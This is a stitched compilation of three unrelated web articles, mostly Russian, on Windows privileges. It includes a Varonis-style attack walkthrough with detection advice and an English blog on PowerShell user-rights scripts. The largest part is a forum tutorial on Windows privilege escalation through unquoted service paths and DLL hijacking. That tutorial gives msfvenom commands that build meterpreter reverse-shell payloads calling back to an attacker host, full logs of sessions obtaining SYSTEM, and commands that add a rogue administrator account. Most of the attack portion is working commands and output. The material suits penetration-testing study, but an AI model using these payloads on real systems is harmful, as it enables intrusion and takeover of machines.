Повышение привилегий windows powershell

Время на прочтение4 мин

Количество просмотров15K

Картинка с сайта: habr.com

Повышение привилегий — это использование злоумышленником текущих прав учетной записи для получения дополнительного, как правило, более высокого уровня доступа в системе. Несмотря на то что повышение привилегий может быть результатом эксплуатации уязвимостей нулевого дня, или работы первоклассных хакеров, проводящих целенаправленную атаку, или же грамотно замаскированной вредоносной программой, но все же чаще всего это происходит из-за неправильной настройки компьютера или учетной записи. Развивая атаку далее, злоумышленники используют ряд отдельных уязвимостей, что в совокупности может привести к катастрофической утечке данных.

Почему пользователи не должны иметь права локального администратора?

Если вы специалист по безопасности, это может показаться очевидным, что пользователи не должны иметь права локального администратора, так как это:

  • Делает их аккаунты более уязвимыми к различным атакам
  • Делает эти самые атаки гораздо более серьезными

К сожалению, для многих организаций это до сих пор очень спорный вопрос и подчас сопровождается бурными дискуссиями (см. например, мой руководитель говорит, что все пользователи должны быть локальными администраторами). Не углубляясь в детали этого обсуждения, мы считаем, что злоумышленник получил права локального администратора на исследуемой системе: либо через эксплойт, либо из-за того, что машины не были должным образом защищены.

Шаг 1. Обратное разрешение DNS имен через PowerShell

По-умолчанию PowerShell устанавливается на многих локальных рабочих станциях и на большинстве серверов Windows. И хотя не без преувеличения он считается невероятно полезным инструментом автоматизации и управления, в равной степени он способен превращаться в почти невидимую fileless-малварь (программа для взлома, не оставляющая следов атаки).

В нашем случае злоумышленник начинает выполнять сетевую рекогносцировку с помощью сценария PowerShell, последовательно перебирая пространство IP-адресов сети, пытаясь определить, разрешается ли данный IP к узлу, и если да, то каково сетевое имя этого узла.
Существует множество способов выполнения этой задачи, но использование командлета Get-ADComputer — это надежный вариант, поскольку он возвращает действительно богатый набор данных о каждом узле:

 import-module activedirectory Get-ADComputer -property * -filter { ipv4address -eq ‘10.10.10.10’}

Если скорость работы в больших сетях вызывает проблемы, то может использоваться обратный системный вызов DNS:

[System.Net.Dns]::GetHostEntry(‘10.10.10.10’).HostName

Картинка с сайта: habr.com

Этот метод перечисления узлов в сети очень популярен, так как большинство сетей не использует модель безопасности с нулевым доверием и не отслеживает внутренние DNS запросы на подозрительные всплески активности.

Шаг 2: Выбор цели

Конечным результатом этого шага является получение списка имен хостов серверов и рабочих станций, который может быть использован для продолжения атаки.

Картинка с сайта: habr.com

Судя по имени, сервер ‘HUB-FILER’ кажется достойной целью, т.к. с течением времени файловые серверы, как правило, аккумулируют большое количество сетевых папок и избыточного доступа к ним слишком большого круга лиц.

Просмотр с помощью Проводника Windows позволяет нам определить наличие открытой общей папки, но наша текущая учетная запись не может получить к ней доступ (вероятно, у нас есть права только на листинг).

Шаг 3: Изучаем ACL

Теперь на нашем хосте HUB-FILER и целевой общей папке share мы можем запустить сценарий PowerShell для получения списка ACL. Мы можем сделать это с локальной машины, так как у нас уже имеются права локального администратора:

(get-acl \\hub-filer\share).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags –auto

Результат выполнения:

Картинка с сайта: habr.com

Из него мы видим, что группа Пользователи Домена имеет доступ только на листинг, но вот группа Helpdesk имеет еще и права на изменение.

Шаг 4: Идентификация Учетных Записей

Запустив Get-ADGroupMember, мы сможем получить всех членов этой группы:

Get-ADGroupMember -identity Helpdesk

Картинка с сайта: habr.com

В этом списке мы видим учетную запись компьютера, которую мы уже идентифицировали и к которой уже получили доступ:

Картинка с сайта: habr.com

Шаг 5: Используем PSExec для работы от учетной записи компьютера

PsExec от Microsoft Sysinternals позволяет выполнять команды в контексте системной учетной записи SYSTEM@HUB-SHAREPOINT, которая, как мы знаем, является членом целевой группы Helpdesk. То есть нам достаточно выполнить:

PsExec.exe -s -i cmd.exe

Ну а далее у вас есть полный доступ к целевой папке \\HUB-FILER\share\HR, поскольку вы работаете в контексте учетной записи компьютера HUB-SHAREPOINT. И с этим доступом данные могут быть скопированы на портативное устройство хранения или иным образом извлечены и переданы по сети.

Шаг 6: Обнаружение данной атаки

Эта конкретная уязвимость настройки прав учетных записей (учетные записи компьютеров, обращающиеся к общим сетевым папкам вместо учетных записей пользователей или служебных учеток) может быть обнаружена. Однако без правильных инструментов сделать это очень сложно.

Чтобы обнаружить и предотвратить эту категорию атак, мы можем использовать DatAdvantage для идентификации групп с компьютерными учетными записями в них, а затем закрыть к ним доступ. DatAlert идет дальше и позволяет создать уведомление специально для подобного сценария.

На скриншоте ниже показано пользовательское уведомление, которое будет срабатывать при каждом доступе учетной записи компьютера к данным на отслеживаемом сервере.

Картинка с сайта: habr.com

Следующие шаги с помощью PowerShell

Хотите узнать больше? Используйте код разблокировки «blog» для бесплатного доступа к полному видео-курсу PowerShell и Основы Active Directory.

Источник

Картинка с сайта: blakedrumm.com

This post was last updated on November 5th, 2024

I stumbled across this gem (weloytty/Grant-LogonAsService.ps1) that allows you to grant Logon as a Service Right for a User. I modified the script you can now run the Powershell script against multiple machines, users, and user rights.

How to get it

Set-UserRights.ps1 Direct Download Link
or
Personal File Server — Set-UserRights.ps1 Alternative Download Link
or
Personal File Server — Set-UserRights.txt Text Format Alternative Download Link

All of the User Rights that can be set:

Privilege PrivilegeName
SeAssignPrimaryTokenPrivilege Replace a process level token
SeAuditPrivilege Generate security audits
SeBackupPrivilege Back up files and directories
SeBatchLogonRight Log on as a batch job
SeChangeNotifyPrivilege Bypass traverse checking
SeCreateGlobalPrivilege Create global objects
SeCreatePagefilePrivilege Create a pagefile
SeCreatePermanentPrivilege Create permanent shared objects
SeCreateSymbolicLinkPrivilege Create symbolic links
SeCreateTokenPrivilege Create a token object
SeDebugPrivilege Debug programs
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session
SeDenyBatchLogonRight Deny log on as a batch job
SeDenyInteractiveLogonRight Deny log on locally
SeDenyNetworkLogonRight Deny access to this computer from the network
SeDenyRemoteInteractiveLogonRight Deny log on through Remote Desktop Services
SeDenyServiceLogonRight Deny log on as a service
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation
SeImpersonatePrivilege Impersonate a client after authentication
SeIncreaseBasePriorityPrivilege Increase scheduling priority
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
SeIncreaseWorkingSetPrivilege Increase a process working set
SeInteractiveLogonRight Allow log on locally
SeLoadDriverPrivilege Load and unload device drivers
SeLockMemoryPrivilege Lock pages in memory
SeMachineAccountPrivilege Add workstations to domain
SeManageVolumePrivilege Perform volume maintenance tasks
SeNetworkLogonRight Access this computer from the network
SeProfileSingleProcessPrivilege Profile single process
SeRelabelPrivilege Modify an object label
SeRemoteInteractiveLogonRight Allow log on through Remote Desktop Services
SeRemoteShutdownPrivilege Force shutdown from a remote system
SeRestorePrivilege Restore files and directories
SeSecurityPrivilege Manage auditing and security log
SeServiceLogonRight Log on as a service
SeShutdownPrivilege Shut down the system
SeSyncAgentPrivilege Synchronize directory service data
SeSystemEnvironmentPrivilege Modify firmware environment values
SeSystemProfilePrivilege Profile system performance
SeSystemtimePrivilege Change the system time
SeTakeOwnershipPrivilege Take ownership of files or other objects
SeTcbPrivilege Act as part of the operating system
SeTimeZonePrivilege Change the time zone
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller
SeUndockPrivilege Remove computer from docking station

Note

You may edit line 564 in the script to change what happens when the script is run without any arguments or parameters, this also allows you to change what happens when the script is run from the PowerShell ISE.

Here are a few examples:

Add Users

Single Users

Example 1

Add User Right “Allow log on locally” for current user:

.\Set-UserRights.ps1 -AddRight -UserRight SeInteractiveLogonRight

Example 2

Add User Right “Log on as a service” for CONTOSO\User:

.\Set-UserRights.ps1 -AddRight -Username CONTOSO\User -UserRight SeServiceLogonRight

Example 3

Add User Right “Log on as a batch job” for CONTOSO\User:

.\Set-UserRights.ps1 -AddRight -Username CONTOSO\User -UserRight SeBatchLogonRight

Example 4

Add User Right “Log on as a batch job” for user SID S-1-5-11:

.\Set-UserRights.ps1 -AddRight -Username S-1-5-11 -UserRight SeBatchLogonRight

Add Multiple Users / Rights / Computers

Example 5

Add User Right “Log on as a service” and “Log on as a batch job” for CONTOSO\User1 and CONTOSO\User2 and run on, local machine and SQL.contoso.com:

.\Set-UserRights.ps1 -AddRight -UserRight SeServiceLogonRight, SeBatchLogonRight -ComputerName "$env:COMPUTERNAME", "SQL.contoso.com" -UserName "CONTOSO\User1", "CONTOSO\User2"

Remove Users

Single Users

Example 1

Remove User Right “Allow log on locally” for current user:

.\Set-UserRights.ps1 -RemoveRight -UserRight SeInteractiveLogonRight

Example 2

Remove User Right “Log on as a service” for CONTOSO\User:

.\Set-UserRights.ps1 -RemoveRight -Username CONTOSO\User -UserRight SeServiceLogonRight

Example 3

Remove User Right “Log on as a batch job” for CONTOSO\User:

.\Set-UserRights.ps1 -RemoveRight -Username CONTOSO\User -UserRight SeBatchLogonRight

Example 4

Remove User Right “Log on as a batch job” for user SID S-1-5-11:

.\Set-UserRights.ps1 -RemoveRight -Username S-1-5-11 -UserRight SeBatchLogonRight

Remove Multiple Users / Rights / Computers

Example 5

Remove User Right “Log on as a service” and “Log on as a batch job” for CONTOSO\User1 and CONTOSO\User2 and run on, local machine and SQL.contoso.com:

.\Set-UserRights.ps1 -RemoveRight -UserRight SeServiceLogonRight, SeBatchLogonRight -ComputerName "$env:COMPUTERNAME", "SQL.contoso.com" -UserName "CONTOSO\User1", "CONTOSO\User2"

Check User Rights

How to get it

Get-UserRights.ps1 Direct Download Link
or
Personal File Server — Get-UserRights.ps1 Alternative Download Link
or
Personal File Server — Get-UserRights.txt Text Format Alternative Download Link

In order to check the Local User Rights, you will need to run the above (Get-UserRights), you may copy and paste the above script in your PowerShell ISE and press play.

UserAccountsRights

Картинка с сайта: blakedrumm.com

Note

You may edit line 493 in the script to change what happens when the script is run without any arguments or parameters, this also allows you to change what happens when the script is run from the PowerShell ISE.

Here are a few examples:

Local Computer

Get Local User Account Rights and output to text in console:

.\Get-UserRights.ps1
# or
.\Get-UserRights.ps1 -UserName DOMAIN\Username

Remote Computer

Get Remote SQL Server User Account Rights:

.\Get-UserRights.ps1 -ComputerName SQL.contoso.com

Get Local Machine and SQL Server User Account Rights:

.\Get-UserRights.ps1 -ComputerName "$env:COMPUTERNAME", "SQL.contoso.com"

Output Types

Output Local User Rights on Local Machine as CSV in ‘C:\Temp’:

.\Get-UserRights.ps1 -FileOutputPath C:\Temp -FileOutputType CSV

Output to Text in ‘C:\Temp’:

.\Get-UserRights.ps1 -FileOutputPath C:\Temp -FileOutputType Text
# or
.\Get-UserRights.ps1 -FileOutputPath C:\Temp

PassThru object to allow manipulation / filtering:

.\Get-UserRights.ps1 -ComputerName SQL.contoso.com -UserName DOMAIN\SQLUser -PassThru | Where-Object {$_.Privilege -match 'SeInteractiveLogonRight'}
# or
.\Get-UserRights.ps1 -PassThru | Where-Object {$_.Privilege -match 'SeServiceLogonRight'}

Leave some feedback if this helped you!

Share on:

Blake Drumm

Картинка с сайта: blakedrumm.com

I like to collaborate and work on projects. My skills with Powershell allow me to quickly develop automated solutions to suit my customers, and my own needs.

Email : [email protected]

Website : https://blakedrumm.com

Источник

Добрый день, Коллеги.

Сразу оговорюсь, я не претендую на полноценное авторство для данной статьи. Моя работа скорее была — скомпоновать техники и проверить их на практике, оставив только реально рабочие и полезные варианты.
В данной статье используются переводы с зарубежных форумов и статей, часть наших, часть писал и в том числе я сам. Просто делюсь своими архивчиками.

​

Сегодня мы поговорим о повышение привилегий Windows.

Повышение привилегий с BeRoot
Большинство способов поднятия привилегий связаны с ошибками в конфигурации установленного ПО, будь то путь к исполняемому файлу сервиса, не обрамленный кавычками и содержащий пробел (такая ситуация довольно интересно обрабатывается виндой), или же неверно выставленные права на директорию с приложением. Итак, что же BeRoot умеет находить? Для начала те самые пути с пробелами, не обрамленные кавычками:
C:\Program Files\SomeTest\binary.exe.
В данном случае Windows будет пытаться найти и запустить файл в следующем порядке:

Код: 

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\binary.exe

Соответственно, если binary.exe выполняется с повышенными
привилегиями и у вас будет возможность разместить на диске C файл Program.exe, то вместо исходного бинарника винда выполнит ваш, что поднимет ваши привилегии в системе.Так же можно выполнить следующий вид команды что бы вывести такие пути

Код: 

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

1527251729523.png

Картинка с сайта: codeby.net

Если посмотреть запись для этой службы в системном реестре, то можно увидеть ключ ImagePath значение которого:

C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

Хотя должно быть:

“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”

Данный способ называется Неквотируемые пути служб (Unquoted Service Paths)
Далее, проверяются интересные директории, куда мы можем что-либо записать. Эти интересные директории составляются из путей до исполняемых файлов сервисов, запланированных заданий, ключей автозагрузки (HKLM).
Следующим этапом проверяется переменная окружения %PATH%, не содержит ли она директорий, доступных для записи. Если так, то на ОС от Vista до Windows Server 2016 можно будет выполнить DLL Hijacking

Примеры и Триксы
Для проверки прав на папку можно воспользоваться встроенной тулзой

icacls. Ниже показан результат проверки прав для C:\Program Files (x86)\Program Folder:

Код: 

meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
    NT SERVICE\TrustedInstaller:(I)(F)
    NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
    BUILTIN\Users:(I)(RX)
    BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
    CREATOR OWNER:(I)(OI)(CI)(IO)(F)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>

Как видим группа “Everyone” имеет полный доступ к этой папке. Значит,
мы можем записать любой файл в эту папку.
Описание некоторых флагов в выводе команды icacls:
F = Full Control (полный доступ)
CI = Container Inherit (наследование контейнерами)
OI = Object Inherit (только наследование)
Теперь создадим reverse shell пэйлоад, который запустится с правами SYSTEM.

Для этого можем воспользоваться MSFvenom:

Код: 

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe

Скопируем наш пэйлоад в C:\Program Files (x86)\Program Folder:

Код: 

meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode Size Type Last modified ---- ---- Name ---- -----------------
40777/rwxrwxrwx 21:43:28 -0500 0 dir A Subfolder
meterpreter > upload -f A.exe
uploading : A.exe -> A.exe[/li]
uploaded : A.exe -> A.exe[/li][/list]
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
2017-01-04==============================================
Mode    Size    Type    Last modified    Name
-----------------------------
40777/rwxrwxrwx    21:43:28 -0500    0    2017-01-04    A Subfolder
100777/rwxrwxrwx 22:01:32 -0500    dir    73802    fil    2017-01-04
A.exe
meterpreter >

При следующем старте службы A.exe должен запуститься с правами
SYSTEM. Давайте проверим – рестартанем уязвимую службу:

Код: 

meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>

«Доступ запрещен»
Ничего страшного, у нас просто нет прав на остановку/запуск службы, но мы можем рестартануть целевую машину, выполнив команду shutdown:

Код: 

C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
192.168.2.40 - Meterpreter session 8 closed. Reason: Died[/li]

Как видим наша сессия оборвалась.
После перезагрузки целевой машины наш пэйлоад должен запуститься с правами SYSTEM. Для того чтобы увидеть результат нам необходимо запустить хэндлер:

Код: 

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.40[/li]
Meterpreter session 1 opened (192.168.2.60:8989 ->
192.168.2.40:49156) at 2017-01-04 22:37:17 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
192.168.2.40 - Meterpreter session 1 closed. Reason: Died[/li]

Как видим, теперь у нас появилась сессия Meterpreter’а с правами SYSTEM. Но почему же наша сессия оборвалась так быстро? Объяснить это можно — потому, что в системе Windows при старте службы она должна соединиться
с т. н. Менеджером Служб (Service Control Manager (SCM)). Если соединение не было установлено то Менеджер Служб завершит процесс. Поэтому нам необходимо мигрировать в другой процесс до того как
Менеджер Служб завершит работу нашего пэйлоада, также можно использовать автомигрирование. Хочу отметить, что в Metasploit есть уже готовый модуль для проверки и эксплуатации данной уязвимости на целевой машине:

Код: 

exploit/windows/local/trusted_service_path

Если вы хотите использовать данный модуль, то его необходимо прилинковать к существующей сессии Meterpreter’а перед запуском:

Код: 

msf > use exploit/windows/local/trusted_service_path
msf exploit(trusted_service_path) > show options
Module options (exploit/windows/local/trusted_service_path):
Name
Current Setting Required Description
--------------------------------------
SESSION    yes
The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows

Чтобы воспроизвести эксплуатацию описанной уязвимости, вам необходимо добавить уязвимую службу в вашей тестовой среде:

Код: 

C:\Windows\System32>sc create "Vulnerable Service" binPath= "C:\Program
Files (x86)\Program Folder\A Subfolder\Executable.exe" start=auto
C:\Windows\System32>cd C:\Program Files (x86)
C:\Program Files (x86)>mkdir "Program Folder\A Subfolder"
C:\Program Files (x86)>icacls "C:\Program Files (x86)\Program Folder" /grant
Everyone:(OI)(CI)F /T

Помимо только поиска уязвимых мест, BeRoot предоставляет возможность проэксплуатировать уязвимость MS16-075 (если она есть). Стандартный трюк с добавлением своего админа будет выглядеть следующим образом:

Код: 

beRoot.exe -c "net user hacker Megapasswd /add"
beRoot.exe -c "net localgroup Administrators hacker /add"

Что бы еще проверить? Ключ реестра AlwaysInstallElevated, позволяющий обычным пользователям запускать на установку MSI-файлы с повышенными привилегиями. Если эта опция включена, создавайте свой MSI-пакет и получайте полный контроль.

1527251757051.png

Картинка с сайта: codeby.net

Повышение привилегий Windows. BeRoot нашел несколько доступных для записи директорий, указанных в переменной окружения PATH Также проверяются файлы, оставшиеся от Unattended Install, которые могут хранить данные админской учетки. Ну и на всякий случай проверяются такие экзотические вещи, как доступность сервиса для модификации, возможность создания нового сервиса, возможность создания ключа автозагрузки в HKLM, а также возможность записи в директорию, где хранятся запланированные задания.

В этом примере Vulnerable.exe содержит DLL hijacking уязвимость. Так как это демонстрация, то Vulnerable.exe является кодом, который подгружает длл без всяких проверок:

1527251808517.png

Картинка с сайта: codeby.net

Код: 

#include "stdafx.h"
#include "windows.h"
void _tmain(int argc, _TCHAR* argv[])
{
LoadLibrary(L"hijackable.dll");
}

Если разбираться, что же такое DLL hijacking, то это хорошо расписано этой статье (

Ссылка скрыта от гостей

):
Когда приложение динамически подгружает динамическую библиотеку без указания полного пути (fully qualified path name) к библиотеке, то Windows пытается локализировать эту длл путем поиска в хорошо регламентированном списке директорий и в определенном порядке (детально это описано в Dynamic-Link Library Search Order). Если атакующему удается получить контроль над одной из директорий из списка поиска, то он может поместить вредоносную копию длл в эту директорию.
Это еще иногда называют preloading attackилиbinary planting attack. Если системе не удается найти легитимную длл до поиска в скомпрометированной директории, то будет загружена вредоносная длл. И если приложение выполняется с админскими правами, то атакующему удасться произвести локальное повышение привилегий (local privilege elevation).
Когда процесс пытается подгрузить длл, то система будет выполнять поиск длл в директориях в следующем порядке:
1. В директории из которой запущено приложение
2. В системных директориях
3. В системных директориях для 16-битных приложений
4. В директории Windows
5. В текущей директории
6. В директориях, указанных в переменной окружения %PATH%
Для эксплуатирования данной уязвимости нам необходимо проделать
следующие шаги:
— Проверить существует ли длл которую подгружает процесс в какой-то
директории на диске.
— Если такой длл нет, то необходимо поместить нашу вредоносную копию
длл в одну из директорий, перечисленных выше. Когда процесс будет
запущен он найдет и подгрузит нашу длл.
— Если длл существует в одной из перечисленных директорий, то
необходимо попробовать поместить нашу вредоносную длл в директорию с
более высоким приоритетом поиска чем та, в которой лежит обычная длл.
Давайте проверим есть ли hijackable.dll на целевой машине:

Код: 

meterpreter > search -f hijackable.dll
No files matching your search were found.
meterpreter >

Поиск не дал результатов, но мы не можем быть уверены на 100% что такой длл нет на целевой машине, т.к. мы находимся в непривилегированной сессии и у нас нет прав на просмотр всех директорий на целевой машине.
Следующим шагом нам необходимо проверить наличие уязвимых разрешений. Обычно я проверяю установлен ли какой-нибудь софт в корне диска, например Python. Почему лучше проверять именно в корне диска? — Потому что, первое: если
каталок был создан софтом в корне диска, то у всех аутенцифицированных пользователей будут права на запись в этот каталог. И второе: софт типа Python, Ruby, Perl и др. добавляет путь в переменную среды %PATH%. А Windows как мы помним при поиске подгружаемой длл проверяет также директории, которые перечисленны в этой переменной.

Код: 

meterpreter > ls
Listing: C:\
============
Mode Size ---- Type Last modified Name ---- ----
40777/rwxrwxrwx 0 ---- dir 2017-01-18 05:59:21 -0500 $Recycle.Bin
100666/rw-rw-rw- 1 fil 2013-06-18 08:18:29 -0400 BOOTNXT
100444/r--r--r--------------- 8192 fil 2013-09-11 14:11:46 -0400 BOOTSECT.BAK
40777/rwxrwxrwx 0 dir 2016-11-19 15:49:57 -0500 Boot
40777/rwxrwxrwx 0 dir 2013-08-22 10:45:52 -0400 Documents and
Settings
40555/r-xr-xr-x 0 dir 2016-07-27 07:12:06 -0400 MSOCache
40777/rwxrwxrwx 0 dir 2013-08-22 11:22:35 -0400 PerfLogs
40555/r-xr-xr-x 0 dir 2017-01-18 04:05:59 -0500 Program
0 dir 2017-01-18 04:07:04 -0500 Program
Files
40555/r-xr-xr-x Files (x86)
40777/rwxrwxrwx 0 dir 2017-01-18 04:05:28 -0500 ProgramData
40777/rwxrwxrwx 0 dir 2017-01-18 09:51:36 -0500 Python2740777/rwxrwxrwx 0 dir 2013-09-11 13:15:09 -0400 Recovery
40777/rwxrwxrwx 0 dir 2017-01-18 03:52:51 -0500 System Volume Information
40555/r-xr-xr-x 0 dir 2017-01-04 21:51:12 -0500 Users
40777/rwxrwxrwx 0 dir 2017-01-18 03:53:05 -0500 Windows
100444/r--r--r-- 404250 fil 2014-06-14 06:46:09 -0400 bootmgr
100666/rw-rw-rw- 1409286144 fil 2017-01-18 13:53:34 -0500 pagefile.sys
100666/rw-rw-rw- 16777216 fil 2017-01-18 13:53:34 -0500 swapfile.sys

Так как мы предполагали Python установлен на целевой машине. Проверим разрешения на каталог:

Код: 

meterpreter > shell
Process 3900 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>icacls C:\Python27
icacls C:\Python27
C:\Python27 BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
C:\>

И как видим: аутенцифицированные пользователи имеют права на модификацию. Осталось проверить есть ли каталог C:\Python27 в переменной среды %PATH%. Самый простой способ – это выполнить команду “python -h” в шелле. Если отобразится справка, то значит что этот путь есть в переменной среды %PATH%:

Код: 

meterpreter > shellProcess 3360 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>python -h
python -h
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Options and arguments (and corresponding environment variables):
-B : don't write .py[co] files on import; also
PYTHONDONTWRITEBYTECODE=x
-c cmd : program passed in as string (terminates option list)
-d : debug output from parser; also PYTHONDEBUG=x
-E : ignore PYTHON* environment variables (such as PYTHONPATH)
-h : print this help message and exit (also –help)
.
.
.

Отлично! Каталог есть в переменной среды. Теперь создадим простой reverse shell пэйлоад в виде длл:

Код: 

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.2.60 lport=8989 -f dll > hijackable.dll
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
root@kali:~#

Поместим пэйлоад в каталог C:\Python27:

Код: 

meterpreter > upload -f hijackable.dll
uploading : hijackable.dll -> hijackable.dll[/li]
uploaded : hijackable.dll -> hijackable.dll[/li][/list]
meterpreter >

Для подгрузки нашей вредоносной длл необходимо перезапустить процесс Vulnerable.exe. Можно попробовать команду kill, чтобы завершить процесс:

Код: 

meterpreter > kill 952
Killing: 952
[-] stdapi_sys_process_kill: Operation failed: Access is denied.

И опять нам не повезло. Тогда можно опять перезагрузить целевую машину и если Vulnerable.exe находится в автозагрузке, то он запустится при старте системы, в худшем случае нам придется дождатьс пока кто-то из пользователей запустит этот процесс на целевой машине.

Код: 

meterpreter > shell
Process 3024 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Downloads>shutdown /r /t 0
shutdown /r /t 0
192.168.2.40 - Meterpreter session 3 closed. Reason: Died[/li]

А пока целевая машина ушла в ребут, запустим новый хэндлер:

Код: 

msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.40[/li]
Meterpreter session 5 opened (192.168.2.60:8989 ->
192.168.2.40:49156) at 2017-01-18 07:47:39 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Как видим мы получили шелл после перезагрузки целевой машины.

Повышение привилегий с Sherlock

В любой операционной системе присутствуют уязвимости, которые периодически находят, а потом патчат. Пожалуй, самый простой вариантподнять свои привилегии — это проверить, уязвима ли исследуемая система к одному из доступных в паблике сплоитов. Компилировать и запускать все по очереди? Не наш метод, мы ведь знаем (или можем узнать), какой патч закрывает ту или иную уязвимость, просто проверим наличие его установки. И если security-апдейт не установлен, то нам повезло. Такой проверкой как раз и занимается PowerShell-скрипт Sherlock. На текущий момент он проверяет наличие установленных патчей для следующих уязвимостей:
• MS10-015 : User Mode to Ring (KiTrap0D)
• MS10-092 : Task Scheduler
• MS13-053 : NTUserMessageCall Win32k Kernel Pool Overfow
• MS13-081 : TrackPopupMenuEx Win32k NULL Page
• MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
• MS15-051 : ClientCopyImage Win32k
• MS15-078 : Font Driver Bufer Overfow
• MS16-016 : ‘mrxdav.sys’ WebDAV
• MS16-032 : Secondary Logon Handle

Если что-то из этого не пропатчено, можете смело качать сплоит, компилировать и ждать успеха. Работоспособность скрипта протестирована на следующих системах:
• Windows 7 SP1 32-bit
• Windows 7 SP1 64-bit,
• Windows 8 64-bit,
• Windows 10 64-bit
Так, на тестовой машине с Windows 7 x64 на борту «Шерлок» выдал следующую сводку:

1527251841523.png

Картинка с сайта: codeby.net

Повышение привилегий Windows. Шерлок Холмс за поиском непропатченных уязвимостей Как оказалось, машина уязвима к уязвимости Secondary Logon Handle (ну и еще нескольким в придачу), о которой читайте далее. Ну и стоит отметить, что непосредственно в Windows для проверки достаточно запустить PowerShell и выполнить

Код: 

import-module .\Sherlock.ps1

В случае если у вас meterpreter-сессия до Win-машины, то подгружаем PowerShell-расширение, импортируем «Шерлока» и вызываем процедуру проверки:

Код: 

meterpreter > load powershell
meterpreter > powershell_import Sherlock.ps1
meterpreter > powershell_execute "find-allvulns"

Повышение привилегий с Windows-privesc-check

Инструмент, разработанный командой pentestmonkey. Делает кучу «грязной работы» — старается найти типичные ошибки конфигурации, которые могут позволить обычным пользователям повысить свои привилегии.
Изначально написан на Python, но поставляется также в виде отдельного исполняемого файла (собранного с помощью pyinstaller), для того чтобы его можно было просто запустить на удаленной машине, а не тащить на нее предварительно питон и все остальные зависимости. Существует два варианта использования. Первый — когда у нас есть аккаунт с правами администратора и мы хотим прокачать их до системных. Второй — когда у нас аккаунт с ограниченными привилегиями
и мы хотим найти способ расширить их. Для того чтобы попросить программу найти все возможные ошибки конфигурации, надо ввести:

Код: 

windows-privesc-check2.exe --audit -a -o report

В результате получим подробный отчет следующего вида:

1527251875589.png

Картинка с сайта: codeby.net

Повышение привилегий Windows. Детальный отчет, построенный windows-privesc-check При этом утилита проверит практически все возможные варианты:
-переменные окружения, сервисы, с некорректными правами доступа,
-запланированные задания, доступные для записи ключи реестра и прочее.
